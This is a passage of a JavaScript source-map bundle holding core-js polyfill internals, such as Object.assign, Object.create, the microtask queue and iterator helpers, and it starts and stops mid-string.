/#|\\.prototype\\./;\n\nvar isForced = function (feature, detection) {\n var value = data[normalize(feature)];\n return value == POLYFILL ? true\n : value == NATIVE ? false\n : isCallable(detection) ? fails(detection)\n : !!detection;\n};\n\nvar normalize = isForced.normalize = function (string) {\n return String(string).replace(replacement, '.').toLowerCase();\n};\n\nvar data = isForced.data = {};\nvar NATIVE = isForced.NATIVE = 'N';\nvar POLYFILL = isForced.POLYFILL = 'P';\n\nmodule.exports = isForced;\n","var isObject = require('../internals/is-object');\n\nvar floor = Math.floor;\n\n// `IsIntegralNumber` abstract operation\n// https://tc39.es/ecma262/#sec-isintegralnumber\n// eslint-disable-next-line es/no-number-isinteger -- safe\nmodule.exports = Number.isInteger || function isInteger(it) {\n return !isObject(it) && isFinite(it) && floor(it) === it;\n};\n","var isCallable = require('../internals/is-callable');\n\nmodule.exports = function (it) {\n return typeof it == 'object' ? it !== null : isCallable(it);\n};\n","module.exports = false;\n","var isObject = require('../internals/is-object');\nvar classof = require('../internals/classof-raw');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar MATCH = wellKnownSymbol('match');\n\n// `IsRegExp` abstract operation\n// https://tc39.es/ecma262/#sec-isregexp\nmodule.exports = function (it) {\n var isRegExp;\n return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : classof(it) == 'RegExp');\n};\n","var global = require('../internals/global');\nvar getBuiltIn = require('../internals/get-built-in');\nvar isCallable = require('../internals/is-callable');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar USE_SYMBOL_AS_UID = require('../internals/use-symbol-as-uid');\n\nvar Object = global.Object;\n\nmodule.exports = USE_SYMBOL_AS_UID ? function (it) {\n return typeof it == 'symbol';\n} : function (it) {\n var $Symbol = getBuiltIn('Symbol');\n return isCallable($Symbol) && isPrototypeOf($Symbol.prototype, Object(it));\n};\n","var global = require('../internals/global');\nvar bind = require('../internals/function-bind-context');\nvar call = require('../internals/function-call');\nvar anObject = require('../internals/an-object');\nvar tryToString = require('../internals/try-to-string');\nvar isArrayIteratorMethod = require('../internals/is-array-iterator-method');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar getIterator = require('../internals/get-iterator');\nvar getIteratorMethod = require('../internals/get-iterator-method');\nvar iteratorClose = require('../internals/iterator-close');\n\nvar TypeError = global.TypeError;\n\nvar Result = function (stopped, result) {\n this.stopped = stopped;\n this.result = result;\n};\n\nvar ResultPrototype = Result.prototype;\n\nmodule.exports = function (iterable, unboundFunction, options) {\n var that = options && options.that;\n var AS_ENTRIES = !!(options && options.AS_ENTRIES);\n var IS_ITERATOR = !!(options && options.IS_ITERATOR);\n var INTERRUPTED = !!(options && options.INTERRUPTED);\n var fn = bind(unboundFunction, that);\n var iterator, iterFn, index, length, result, next, step;\n\n var stop = function (condition) {\n if (iterator) iteratorClose(iterator, 'normal', condition);\n return new Result(true, condition);\n };\n\n var callFn = function (value) {\n if (AS_ENTRIES) {\n anObject(value);\n return INTERRUPTED ? fn(value[0], value[1], stop) : fn(value[0], value[1]);\n } return INTERRUPTED ? fn(value, stop) : fn(value);\n };\n\n if (IS_ITERATOR) {\n iterator = iterable;\n } else {\n iterFn = getIteratorMethod(iterable);\n if (!iterFn) throw TypeError(tryToString(iterable) + ' is not iterable');\n // optimisation for array iterators\n if (isArrayIteratorMethod(iterFn)) {\n for (index = 0, length = lengthOfArrayLike(iterable); length > index; index++) {\n result = callFn(iterable[index]);\n if (result && isPrototypeOf(ResultPrototype, result)) return result;\n } return new Result(false);\n }\n iterator = getIterator(iterable, iterFn);\n }\n\n next = iterator.next;\n while (!(step = call(next, iterator)).done) {\n try {\n result = callFn(step.value);\n } catch (error) {\n iteratorClose(iterator, 'throw', error);\n }\n if (typeof result == 'object' && result && isPrototypeOf(ResultPrototype, result)) return result;\n } return new Result(false);\n};\n","var call = require('../internals/function-call');\nvar anObject = require('../internals/an-object');\nvar getMethod = require('../internals/get-method');\n\nmodule.exports = function (iterator, kind, value) {\n var innerResult, innerError;\n anObject(iterator);\n try {\n innerResult = getMethod(iterator, 'return');\n if (!innerResult) {\n if (kind === 'throw') throw value;\n return value;\n }\n innerResult = call(innerResult, iterator);\n } catch (error) {\n innerError = true;\n innerResult = error;\n }\n if (kind === 'throw') throw value;\n if (innerError) throw innerResult;\n anObject(innerResult);\n return value;\n};\n","'use strict';\nvar fails = require('../internals/fails');\nvar isCallable = require('../internals/is-callable');\nvar create = require('../internals/object-create');\nvar getPrototypeOf = require('../internals/object-get-prototype-of');\nvar redefine = require('../internals/redefine');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar IS_PURE = require('../internals/is-pure');\n\nvar ITERATOR = wellKnownSymbol('iterator');\nvar BUGGY_SAFARI_ITERATORS = false;\n\n// `%IteratorPrototype%` object\n// https://tc39.es/ecma262/#sec-%iteratorprototype%-object\nvar IteratorPrototype, PrototypeOfArrayIteratorPrototype, arrayIterator;\n\n/* eslint-disable es/no-array-prototype-keys -- safe */\nif ([].keys) {\n arrayIterator = [].keys();\n // Safari 8 has buggy iterators w/o `next`\n if (!('next' in arrayIterator)) BUGGY_SAFARI_ITERATORS = true;\n else {\n PrototypeOfArrayIteratorPrototype = getPrototypeOf(getPrototypeOf(arrayIterator));\n if (PrototypeOfArrayIteratorPrototype !== Object.prototype) IteratorPrototype = PrototypeOfArrayIteratorPrototype;\n }\n}\n\nvar NEW_ITERATOR_PROTOTYPE = IteratorPrototype == undefined || fails(function () {\n var test = {};\n // FF44- legacy iterators case\n return IteratorPrototype[ITERATOR].call(test) !== test;\n});\n\nif (NEW_ITERATOR_PROTOTYPE) IteratorPrototype = {};\nelse if (IS_PURE) IteratorPrototype = create(IteratorPrototype);\n\n// `%IteratorPrototype%[@@iterator]()` method\n// https://tc39.es/ecma262/#sec-%iteratorprototype%-@@iterator\nif (!isCallable(IteratorPrototype[ITERATOR])) {\n redefine(IteratorPrototype, ITERATOR, function () {\n return this;\n });\n}\n\nmodule.exports = {\n IteratorPrototype: IteratorPrototype,\n BUGGY_SAFARI_ITERATORS: BUGGY_SAFARI_ITERATORS\n};\n","module.exports = {};\n","var toLength = require('../internals/to-length');\n\n// `LengthOfArrayLike` abstract operation\n// https://tc39.es/ecma262/#sec-lengthofarraylike\nmodule.exports = function (obj) {\n return toLength(obj.length);\n};\n","var global = require('../internals/global');\nvar bind = require('../internals/function-bind-context');\nvar getOwnPropertyDescriptor = require('../internals/object-get-own-property-descriptor').f;\nvar macrotask = require('../internals/task').set;\nvar IS_IOS = require('../internals/engine-is-ios');\nvar IS_IOS_PEBBLE = require('../internals/engine-is-ios-pebble');\nvar IS_WEBOS_WEBKIT = require('../internals/engine-is-webos-webkit');\nvar IS_NODE = require('../internals/engine-is-node');\n\nvar MutationObserver = global.MutationObserver || global.WebKitMutationObserver;\nvar document = global.document;\nvar process = global.process;\nvar Promise = global.Promise;\n// Node.js 11 shows ExperimentalWarning on getting `queueMicrotask`\nvar queueMicrotaskDescriptor = getOwnPropertyDescriptor(global, 'queueMicrotask');\nvar queueMicrotask = queueMicrotaskDescriptor && queueMicrotaskDescriptor.value;\n\nvar flush, head, last, notify, toggle, node, promise, then;\n\n// modern engines have queueMicrotask method\nif (!queueMicrotask) {\n flush = function () {\n var parent, fn;\n if (IS_NODE && (parent = process.domain)) parent.exit();\n while (head) {\n fn = head.fn;\n head = head.next;\n try {\n fn();\n } catch (error) {\n if (head) notify();\n else last = undefined;\n throw error;\n }\n } last = undefined;\n if (parent) parent.enter();\n };\n\n // browsers with MutationObserver, except iOS - https://github.com/zloirock/core-js/issues/339\n // also except WebOS Webkit https://github.com/zloirock/core-js/issues/898\n if (!IS_IOS && !IS_NODE && !IS_WEBOS_WEBKIT && MutationObserver && document) {\n toggle = true;\n node = document.createTextNode('');\n new MutationObserver(flush).observe(node, { characterData: true });\n notify = function () {\n node.data = toggle = !toggle;\n };\n // environments with maybe non-completely correct, but existent Promise\n } else if (!IS_IOS_PEBBLE && Promise && Promise.resolve) {\n // Promise.resolve without an argument throws an error in LG WebOS 2\n promise = Promise.resolve(undefined);\n // workaround of WebKit ~ iOS Safari 10.1 bug\n promise.constructor = Promise;\n then = bind(promise.then, promise);\n notify = function () {\n then(flush);\n };\n // Node.js without promises\n } else if (IS_NODE) {\n notify = function () {\n process.nextTick(flush);\n };\n // for other environments - macrotask based on:\n // - setImmediate\n // - MessageChannel\n // - window.postMessag\n // - onreadystatechange\n // - setTimeout\n } else {\n // strange IE + webpack dev server bug - use .bind(global)\n macrotask = bind(macrotask, global);\n notify = function () {\n macrotask(flush);\n };\n }\n}\n\nmodule.exports = queueMicrotask || function (fn) {\n var task = { fn: fn, next: undefined };\n if (last) last.next = task;\n if (!head) {\n head = task;\n notify();\n } last = task;\n};\n","var global = require('../internals/global');\n\nmodule.exports = global.Promise;\n","/* eslint-disable es/no-symbol -- required for testing */\nvar V8_VERSION = require('../internals/engine-v8-version');\nvar fails = require('../internals/fails');\n\n// eslint-disable-next-line es/no-object-getownpropertysymbols -- required for testing\nmodule.exports = !!Object.getOwnPropertySymbols && !fails(function () {\n var symbol = Symbol();\n // Chrome 38 Symbol has incorrect toString conversion\n // `get-own-property-symbols` polyfill symbols converted to object are not Symbol instances\n return !String(symbol) || !(Object(symbol) instanceof Symbol) ||\n // Chrome 38-40 symbols are not inherited from DOM collections prototypes to instances\n !Symbol.sham && V8_VERSION && V8_VERSION < 41;\n});\n","var global = require('../internals/global');\nvar isCallable = require('../internals/is-callable');\nvar inspectSource = require('../internals/inspect-source');\n\nvar WeakMap = global.WeakMap;\n\nmodule.exports = isCallable(WeakMap) && /native code/.test(inspectSource(WeakMap));\n","'use strict';\nvar aCallable = require('../internals/a-callable');\n\nvar PromiseCapability = function (C) {\n var resolve, reject;\n this.promise = new C(function ($$resolve, $$reject) {\n if (resolve !== undefined || reject !== undefined) throw TypeError('Bad Promise constructor');\n resolve = $$resolve;\n reject = $$reject;\n });\n this.resolve = aCallable(resolve);\n this.reject = aCallable(reject);\n};\n\n// `NewPromiseCapability` abstract operation\n// https://tc39.es/ecma262/#sec-newpromisecapability\nmodule.exports.f = function (C) {\n return new PromiseCapability(C);\n};\n","var toString = require('../internals/to-string');\n\nmodule.exports = function (argument, $default) {\n return argument === undefined ? arguments.length < 2 ? '' : $default : toString(argument);\n};\n","var global = require('../internals/global');\nvar isRegExp = require('../internals/is-regexp');\n\nvar TypeError = global.TypeError;\n\nmodule.exports = function (it) {\n if (isRegExp(it)) {\n throw TypeError(\"The method doesn't accept regular expressions\");\n } return it;\n};\n","var global = require('../internals/global');\n\nvar globalIsFinite = global.isFinite;\n\n// `Number.isFinite` method\n// https://tc39.es/ecma262/#sec-number.isfinite\n// eslint-disable-next-line es/no-number-isfinite -- safe\nmodule.exports = Number.isFinite || function isFinite(it) {\n return typeof it == 'number' && globalIsFinite(it);\n};\n","'use strict';\nvar DESCRIPTORS = require('../internals/descriptors');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar call = require('../internals/function-call');\nvar fails = require('../internals/fails');\nvar objectKeys = require('../internals/object-keys');\nvar getOwnPropertySymbolsModule = require('../internals/object-get-own-property-symbols');\nvar propertyIsEnumerableModule = require('../internals/object-property-is-enumerable');\nvar toObject = require('../internals/to-object');\nvar IndexedObject = require('../internals/indexed-object');\n\n// eslint-disable-next-line es/no-object-assign -- safe\nvar $assign = Object.assign;\n// eslint-disable-next-line es/no-object-defineproperty -- required for testing\nvar defineProperty = Object.defineProperty;\nvar concat = uncurryThis([].concat);\n\n// `Object.assign` method\n// https://tc39.es/ecma262/#sec-object.assign\nmodule.exports = !$assign || fails(function () {\n // should have correct order of operations (Edge bug)\n if (DESCRIPTORS && $assign({ b: 1 }, $assign(defineProperty({}, 'a', {\n enumerable: true,\n get: function () {\n defineProperty(this, 'b', {\n value: 3,\n enumerable: false\n });\n }\n }), { b: 2 })).b !== 1) return true;\n // should work with symbols and should have deterministic property order (V8 bug)\n var A = {};\n var B = {};\n // eslint-disable-next-line es/no-symbol -- safe\n var symbol = Symbol();\n var alphabet = 'abcdefghijklmnopqrst';\n A[symbol] = 7;\n alphabet.split('').forEach(function (chr) { B[chr] = chr; });\n return $assign({}, A)[symbol] != 7 || objectKeys($assign({}, B)).join('') != alphabet;\n}) ? function assign(target, source) { // eslint-disable-line no-unused-vars -- required for `.length`\n var T = toObject(target);\n var argumentsLength = arguments.length;\n var index = 1;\n var getOwnPropertySymbols = getOwnPropertySymbolsModule.f;\n var propertyIsEnumerable = propertyIsEnumerableModule.f;\n while (argumentsLength > index) {\n var S = IndexedObject(arguments[index++]);\n var keys = getOwnPropertySymbols ? concat(objectKeys(S), getOwnPropertySymbols(S)) : objectKeys(S);\n var length = keys.length;\n var j = 0;\n var key;\n while (length > j) {\n key = keys[j++];\n if (!DESCRIPTORS || call(propertyIsEnumerable, S, key)) T[key] = S[key];\n }\n } return T;\n} : $assign;\n","/* global ActiveXObject -- old IE, WSH */\nvar anObject = require('../internals/an-object');\nvar defineProperties = require('../internals/object-define-properties');\nvar enumBugKeys = require('../internals/enum-bug-keys');\nvar hiddenKeys = require('../internals/hidden-keys');\nvar html = require('../internals/html');\nvar documentCreateElement = require('../internals/document-create-element');\nvar sharedKey = require('../internals/shared-key');\n\nvar GT = '>';\nvar LT = '<';\nvar PROTOTYPE = 'prototype';\nvar SCRIPT = 'script';\nvar IE_PROTO = sharedKey('IE_PROTO');\n\nvar EmptyConstructor = function () { /* empty */ };\n\nvar scriptTag = function (content) {\n return LT + SCRIPT + GT + content + LT + '/' + SCRIPT + GT;\n};\n\n// Create object with fake `null` prototype: use ActiveX Object with cleared prototype\nvar NullProtoObjectViaActiveX = function (activeXDocument) {\n activeXDocument.write(scriptTag(''));\n activeXDocument.close();\n var temp = activeXDocument.parentWindow.Object;\n activeXDocument = null; // avoid memory leak\n return temp;\n};\n\n// Create object with fake `null` prototype: use iframe Object with cleared prototype\nvar NullProtoObjectViaIFrame = function () {\n // Thrash, waste and sodomy: IE GC bug\n var iframe = documentCreateElement('iframe');\n var JS = 'java' + SCRIPT + ':';\n var iframeDocument;\n iframe.style.display = 'none';\n html.appendChild(iframe);\n // https://github.com/zloirock/core-js/issues/475\n iframe.src = String(JS);\n iframeDocument = iframe.contentWindow.document;\n iframeDocument.open();\n iframeDocument.write(scriptTag('document.F=Object'));\n iframeDocument.close();\n return iframeDocument.F;\n};\n\n// Check for document.domain and active x support\n// No need to use active x approach when document.domain is not set\n// see https://github.com/es-shims/es5-shim/issues/150\n// variation of https://github.com/kitcambridge/es5-shim/commit/4f738ac066346\n// avoid IE GC bug\nvar activeXDocument;\nvar NullProtoObject = function () {\n try {\n activeXDocument = new ActiveXObject('htmlfile');\n } catch (error) { /* ignore */ }\n NullProtoObject = typeof document != 'undefined'\n ? document.domain && activeXDocument\n ? NullProtoObjectViaActiveX(activeXDocument) // old IE\n : NullProtoObjectViaIFrame()\n : NullProtoObjectViaActiveX(activeXDocument); // WSH\n var length = enumBugKeys.length;\n while (length--) delete NullProtoObject[PROTOTYPE][enumBugKeys[length]];\n return NullProtoObject();\n};\n\nhiddenKeys[IE_PROTO] = true;\n\n// `Object.create` method\n// https://tc39.es/ecma262/#sec-object.create\nmodule.exports = Object.create || function create(O, Properties) {\n var result;\n if (O !== null) {\n EmptyConstructor[PROTOTYPE] = anObject(O);\n result = new EmptyConstructor();\n EmptyConstructor[PROTOTYPE] = null;\n // add \"__proto__\" for Object.getPrototypeOf polyfill\n result[IE_PROTO] = O;\n } else result = NullProtoObject();\n return Properties === undefined ? result : defineProperties(result, Properties);\n};\n","var DESCRIPTORS = require('../internals/descriptors');\nvar definePropertyModule = require('../internals/object-define-property');\nvar anObject = require('../internals/an-object');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar objectKeys = require('../internals/object-keys');\n\n// `Object.defineProperties` method\n// https://tc39.es/ecma262/#sec-object.defineproperties\n// eslint-disable-next-line es/no-object-defineproperties -- safe\nmodule.exports = DESCRIPTORS ? Object.defineProperties : function defineProperties(O, Properties) {\n anObject(O);\n var props = toIndexedObject(Properties);\n var keys = objectKeys(Properties);\n var length = keys.length;\n var index = 0;\n var key;\n while (length > index) definePropertyModule.f(O, key = keys[index++], props[key]);\n return O;\n};\n","var global = require('../internals/global');\nvar DESCRIPTORS = require('../internals/descriptors');\nvar IE8_DOM_DEFINE = require('../internals/ie8-dom-define');\nvar anObject = require('../internals/an-object');\nvar toPropertyKey = require('../internals/to-property-key');\n\nvar TypeError = global.TypeError;\n// eslint-disable-next-line es/no-object-defineproperty -- safe\nvar $defineProperty = Object.defineProperty;\n\n// `Object.defineProperty` method\n// https://tc39.es/ecma262/#sec-object.defineproperty\nexports.f = DESCRIPTORS ? $defineProperty : function defineProperty(O, P, Attributes) {\n anObject(O);\n P = toPropertyKey(P);\n anObject(Attributes);\n if (IE8_DOM_DEFINE) try {\n return $defineProperty(O, P, Attributes);\n } catch (error) { /* empty */ }\n if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported');\n if ('value' in Attributes) O[P] = Attributes.value;\n return O;\n};\n","var DESCRIPTORS = require('../internals/descriptors');\nvar call = require('../internals/function-call');\nvar propertyIsEnumerableModule = require('../internals/object-property-is-enumerable');\nvar createPropertyDescriptor = require('../internals/create-property-descriptor');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar toPropertyKey = require('../internals/to-property-key');\nvar hasOwn = require('../internals/has-own-property');\nvar IE8_DOM_DEFINE = require('../internals/ie8-dom-define');\n\n// eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe\nvar $getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;\n\n// `Object.getOwnPropertyDescriptor` method\n// https://tc39.es/ecma262/#sec-object.getownpropertydescriptor\nexports.f = DESCRIPTORS ? $getOwnPropertyDescriptor : function getOwnPropertyDescriptor(O, P) {\n O = toIndexedObject(O);\n P = toPropertyKey(P);\n if (IE8_DOM_DEFINE) try {\n return $getOwnPropertyDescriptor(O, P);\n } catch (error) { /* empty */ }\n if (hasOwn(O, P)) return createPropertyDescriptor(!call(propertyIsEnumerableModule.f, O, P), O[P]);\n};\n","/* eslint-disable es/no-object-getownpropertynames -- safe */\nvar classof = require('../internals/classof-raw');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar $getOwnPropertyNames = require('../internals/object-get-own-property-names').f;\nvar arraySlice = require('../internals/array-slice');\n\nvar windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames\n ? Object.getOwnPropertyNames(window) : [];\n\nvar getWindowNames = function (it) {\n try {\n return $getOwnPropertyNames(it);\n } catch (error) {\n return arraySlice(windowNames);\n }\n};\n\n// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window\nmodule.exports.f = function getOwnPropertyNames(it) {\n return windowNames && classof(it) == 'Window'\n ? getWindowNames(it)\n : $getOwnPropertyNames(toIndexedObject(it));\n};\n","var internalObjectKeys = require('../internals/object-keys-internal');\nvar enumBugKeys = require('../internals/enum-bug-keys');\n\nvar hiddenKeys = enumBugKeys.concat('length', 'prototype');\n\n// `Object.getOwnPropertyNames` method\n// https://tc39.es/ecma262/#sec-object.getownpropertynames\n// eslint-disable-next-line es/no-object-getownpropertynames -- safe\nexports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) {\n return internalObjectKeys(O, hiddenKeys);\n};\n","// eslint-disable-next-line es/no-object-getownpropertysymbols -- safe\nexports.f = Object.getOwnPropertySymbols;\n","var global = require('../internals/global');\nvar hasOwn = require('../internals/has-own-property');\nvar isCallable = require('../internals/is-callable');\nvar toObject = require('../internals/to-object');\nvar sharedKey = require('../internals/shared-key');\nvar CORRECT_PROTOTYPE_GETTER = require('../internals/correct-prototype-getter');\n\nvar IE_PROTO = sharedKey('IE_PROTO');\nvar Object = global.Object;\nvar ObjectPrototype = Object.prototype;\n\n// `Object.getPrototypeOf` method\n// https://tc39.es/ecma262/#sec-object.getprototypeof\nmodule.exports = CORRECT_PROTOTYPE_GETTER ? Object.getPrototypeOf : function (O) {\n var object = toObject(O);\n if (hasOwn(object, IE_PROTO)) return object[IE_PROTO];\n var constructor = object.constructor;\n if (isCallable(constructor) && object instanceof constructor) {\n return constructor.prototype;\n } return object instanceof Object ? ObjectPrototype : null;\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\n\nmodule.exports = uncurryThis({}.isPrototypeOf);\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar hasOwn = require('../internals/has-own-property');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar indexOf = require('../internals/array-includes').indexOf;\nvar hiddenKeys = require('../internals/hidden-keys');\n\nvar push = uncurryThis([].push);\n\nmodule.exports = function (object, names) {\n var O = toIndexedObject(object);\n var i = 0;\n var result = [];\n var key;\n for (key in O) !hasOwn(hiddenKeys, key) && hasOwn(O, key) && push(result, key);\n // Don't enum bug & hidden keys\n while (names.length > i) if (hasOwn(O, key = names[i++])) {\n ~indexOf(result, key) || push(result, key);\n }\n return result;\n};\n","var internalObjectKeys = require('../internals/object-keys-internal');\nvar enumBugKeys = require('../internals/enum-bug-keys');\n\n// `Object.keys` method\n// https://tc39.es/ecma262/#sec-object.keys\n// eslint-disable-next-line es/no-object-keys -- safe\nmodule.exports = Object.keys || function keys(O) {\n return internalObjectKeys(O, enumBugKeys);\n};\n","'use strict';\nvar $propertyIsEnumerable = {}.propertyIsEnumerable;\n// eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe\nvar getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;\n\n// Nashorn ~ JDK8 bug\nvar NASHORN_BUG = getOwnPropertyDescriptor && !$propertyIsEnumerable.call({ 1: 2 }, 1);\n\n// `Object.prototype.propertyIsEnumerable` method implementation\n// https://tc39.es/ecma262/#sec-object.prototype.propertyisenumerable\nexports.f = NASHORN_BUG ? function propertyIsEnumerable(V) {\n var descriptor = getOwnPropertyDescriptor(this, V);\n return !!descriptor && descriptor.enumerable;\n} : $propertyIsEnumerable;\n","/* eslint-disable no-proto -- safe */\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar anObject = require('../internals/an-object');\nvar aPossiblePrototype = require('../internals/a-possible-prototype');\n\n// `Object.setPrototypeOf` method\n// https://tc39.es/ecma262/#sec-object.setprototypeof\n// Works with __proto__ only. Old v8 can't work with null proto objects.\n// eslint-disable-next-line es/no-object-setprototypeof -- safe\nmodule.exports = Object.setPrototypeOf || ('__proto__' in {} ? function () {\n var CORRECT_SETTER = false;\n var test = {};\n var setter;\n try {\n // eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe\n setter = uncurryThis(Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').set);\n setter(test, []);\n CORRECT_SETTER = test instanceof Array;\n } catch (error) { /* empty */ }\n return function setPrototypeOf(O, proto) {\n anObject(O);\n aPossiblePrototype(proto);\n if (CORRECT_SETTER) setter(O, proto);\n else O.__proto__ = proto;\n return O;\n };\n}() : undefined);\n","var DESCRIPTORS = require('../internals/descriptors');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar objectKeys = require('../internals/object-keys');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar $propertyIsEnumerable = require('../internals/object-property-is-enumerable').f;\n\nvar propertyIsEnumerable = uncurryThis($propertyIsEnumerable);\nvar push = uncurryThis([].push);\n\n// `Object.{ entries, values }` methods implementation\nvar createMethod = function (TO_ENTRIES) {\n return function (it) {\n var O = toIndexedObject(it);\n var keys = objectKeys(O);\n var length = keys.length;\n var i = 0;\n var result = [];\n var key;\n while (length > i) {\n key = keys[i++];\n if (!DESCRIPTORS || propertyIsEnumerable(O, key)) {\n push(result, TO_ENTRIES ? [key, O[key]] : O[key]);\n }\n }\n return result;\n };\n};\n\nmodule.exports = {\n // `Object.entries` method\n // https://tc39.es/ecma262/#sec-object.entries\n entries: createMethod(true),\n // `Object.values` method\n // https://tc39.es/ecma262/#sec-object.values\n values: createMethod(false)\n};\n","'use strict';\nvar TO_STRING_TAG_SUPPORT = require('../internals/to-string-tag-support');\nvar classof = require('../internals/classof');\n\n// `Object.prototype.toString` method implementation\n// https://tc39.es/ecma262/#sec-object.prototype.tostring\nmodule.exports = TO_STRING_TAG_SUPPORT ? {}.toString : function toString() {\n return '[object ' + classof(this) + ']';\n};\n","var global = require('../internals/global');\nvar call = require('../internals/function-call');\nvar isCallable = require('../internals/is-callable');\nvar isObject = require('../internals/is-object');\n\nvar TypeError = global.TypeError;\n\n// `OrdinaryToPrimitive` abstract operation\n// https://tc39.es/ecma262/#sec-ordinarytoprimitive\nmodule.exports = function (input, pref) {\n var fn, val;\n if (pref === 'string' && isCallable(fn = input.toString) && !isObject(val = call(fn, input))) return val;\n if (isCallable(fn = input.valueOf) && !isObject(val = call(fn, input))) return val;\n if (pref !== 'string' && isCallable(fn = input.toString) && !isObject(val = call(fn, input))) return val;\n throw TypeError(\"Can't convert object to primitive value\");\n};\n","var getBuiltIn = require('../internals/get-built-in');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar getOwnPropertyNamesModule = require('../internals/object-get-own-property-names');\nvar getOwnPropertySymbolsModule = require('../internals/object-get-own-property-symbols');\nvar anObject = require('../internals/an-object');\n\nvar concat = uncurryThis([].concat);\n\n// all object keys, includes non-enumerable and symbols\nmodule.exports = getBuiltIn('Reflect', 'ownKeys') || function ownKeys(it) {\n var keys = getOwnPropertyNamesModule.f(anObject(it));\n var getOwnPropertySymbols = getOwnPropertySymbolsModule.f;\n return getOwnPropertySymbols ? concat(keys, getOwnPropertySymbols(it)) : keys;\n};\n","var global = require('../internals/global');\n\nmodule.exports = global;\n","module.exports = function (exec) {\n try {\n return { error: false, value: exec() };\n } catch (error) {\n return { error: true, value: error };\n }\n};\n","var anObject = require('../internals/an-object');\nvar isObject = require('../internals/is-object');\nvar newPromiseCapability = require('../internals/new-promise-capability');\n\nmodule.exports = function (C, x) {\n anObject(C);\n if (isObject(x) && x.constructor === C) return x;\n var promiseCapability = newPromiseCapability.f(C);\n var resolve = promiseCapability.resolve;\n resolve(x);\n return promiseCapability.promise;\n};\n","var redefine = require('../internals/redefine');\n\nmodule.exports = function (target, src, options) {\n for (var key in src) redefine(target, key, src[key], options);\n return target;\n};\n","var global = require('../internals/global');\nvar isCallable = require('../internals/is-callable');\nvar hasOwn = require('../internals/has-own-property');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar setGlobal = require('../internals/set-global');\nvar inspectSource = require('../internals/inspect-source');\nvar InternalStateModule = require('../internals/internal-state');\nvar CONFIGURABLE_FUNCTION_NAME = require('../internals/function-name').CONFIGURABLE;\n\nvar getInternalState = InternalStateModule.get;\nvar enforceInternalState = InternalStateModule.enforce;\nvar TEMPLATE = String(String).split('String');\n\n(module.exports = function (O, key, value, options) {\n var unsafe = options ? !!options.unsafe : false;\n var simple = options ? !!options.enumerable : false;\n var noTargetGet = options ? !!options.noTargetGet : false;\n var name = options && options.name !== undefined ? options.name : key;\n var state;\n if (isCallable(value)) {\n if (String(name).slice(0, 7) === 'Symbol(') {\n name = '[' + String(name).replace(/^Symbol\\(([^)]*)\\)/, '$1') + ']';\n }\n if (!hasOwn(value, 'name') || (CONFIGURABLE_FUNCTION_NAME && value.name !== name)) {\n createNonEnumerableProperty(value, 'name', name);\n }\n state = enforceInternalState(value);\n if (!state.source) {\n state.source = TEMPLATE.join(typeof name == 'string' ? name : '');\n }\n }\n if (O === global) {\n if (simple) O[key] = value;\n else setGlobal(key, value);\n return;\n } else if (!unsafe) {\n delete O[key];\n } else if (!noTargetGet && O[key]) {\n simple = true;\n }\n if (simple) O[key] = value;\n else createNonEnumerableProperty(O, key, value);\n// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative\n})(Function.prototype, 'toString', function toString() {\n return isCallable(this) && getInternalState(this).source || inspectSource(this);\n});\n","var global = require('../internals/global');\nvar call = require('../internals/function-call');\nvar anObject = require('../internals/an-object');\nvar isCallable = require('../internals/is-callable');\nvar classof = require('../internals/classof-raw');\nvar regexpExec = require('../internals/regexp-exec');\n\nvar TypeError = global.TypeError;\n\n// `RegExpExec` abstract operation\n// https://tc39.es/ecma262/#sec-regexpexec\nmodule.exports = function (R, S) {\n var exec = R.exec;\n if (isCallable(exec)) {\n var result = call(exec, R, S);\n if (result !== null) anObject(result);\n return result;\n }\n if (classof(R) === 'RegExp') return call(regexpExec, R, S);\n throw TypeError('RegExp#exec called on incompatible receiver');\n};\n","'use strict';\n/* eslint-disable regexp/no-empty-capturing-group, regexp/no-empty-group, regexp/no-lazy-ends -- testing */\n/* eslint-disable regexp/no-useless-quantifier -- testing */\nvar call = require('../internals/function-call');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar toString = require('../internals/to-string');\nvar regexpFlags = require('../internals/regexp-flags');\nvar stickyHelpers = require('../internals/regexp-sticky-helpers');\nvar shared = require('../internals/shared');\nvar create = require('../internals/object-create');\nvar getInternalState = require('../internals/internal-state').get;\nvar UNSUPPORTED_DOT_ALL = require('../internals/regexp-unsupported-dot-all');\nvar UNSUPPORTED_NCG = require('../internals/regexp-unsupported-ncg');\n\nvar nativeReplace = shared('native-string-replace', String.prototype.replace);\nvar nativeExec = RegExp.prototype.exec;\nvar patchedExec = nativeExec;\nvar charAt = uncurryThis(''.charAt);\nvar indexOf = uncurryThis(''.indexOf);\nvar replace = uncurryThis(''.replace);\nvar stringSlice = uncurryThis(''.slice);\n\nvar UPDATES_LAST_INDEX_WRONG = (function () {\n var re1 = /a/;\n var re2 = /b*/g;\n call(nativeExec, re1, 'a');\n call(nativeExec, re2, 'a');\n return re1.lastIndex !== 0 || re2.lastIndex !== 0;\n})();\n\nvar 